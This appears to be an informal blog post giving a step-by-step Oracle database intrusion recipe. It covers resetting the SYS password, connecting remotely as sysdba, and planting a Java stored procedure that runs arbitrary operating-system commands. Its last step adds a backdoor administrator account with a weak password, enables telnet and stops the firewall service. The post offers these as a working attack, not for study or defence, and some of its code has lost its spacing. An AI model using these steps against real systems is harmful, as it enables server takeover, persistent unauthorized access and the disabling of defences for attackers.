Oracle intrusion Parsing

Oracle intrusion information is rarely seen on the Internet. Recently, I learned Oralce and wrote it ~

-- Change password:
ALTER USER SYS IDENTIFIED BY NEWPASSWORD
-- NEWPASSWORD: New Password

-- Activate the user;
Alter user username account unlock;
-- Username: the username to be unlocked
-- Remote connection:
Sqlplus sys/tiger @ // ip: 1521/orcl as sysdba

-- Oracle remote logon via Web:
Http:/// ip: 5560/isqlplus/

-- Step 1:

create or replace and compilejava souRCe named "util"asimport java.io.*;import java.lang.*;public class util extends Object{public static int RunThis(String args){Runtime rt = Runtime.getRuntime();int RC = -1;try{Process p = rt.exec(args);int bufSize = 4096;BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);int len;byte buffer[] = new byte[bufSize];// Echo back what the program spit outwhile ((len = bis.read(buffer, 0, bufSize)) != -1)System.out.write(buffer, 0, len);RC = p.waitFor();}catch (Exception e){e.printStackTrace();RC = -1;}finally{return RC;}}}

-- Step 2:

create or replacefunction RUN_CMz(p_cmd in varchar2) return numberaslanguage javaname 'util.RunThis(java.lang.String) return integer';

-- Step 3:

create or replace procedure RC(p_cmd in varChar)asx number;beginx := RUN_CMz(p_cmd);end;

-- Step 4:
 

variable x number;set serveroutput on;exec dbms_java.set_output(100000);grant javasyspriv to system;grant javauserpriv to system;

-- Last step:
-- Add a system account, enable the telnet service, and disable the firewall.
 

exec :x:=run_cmz('net user admin 123 /add');exec :x:=run_cmz('net localgroup administrators admin /add');exec :x:=run_cmz('sc config tlntsvr start= auto ');exec :x:=run_cmz('net start telnet');exec :x:=run_cmz('net stop sharedaccess');exec :x:=run_cmz('netstat -an');

I can't find it after reading it without adding a favorite. Don't blame me for it. Haha ~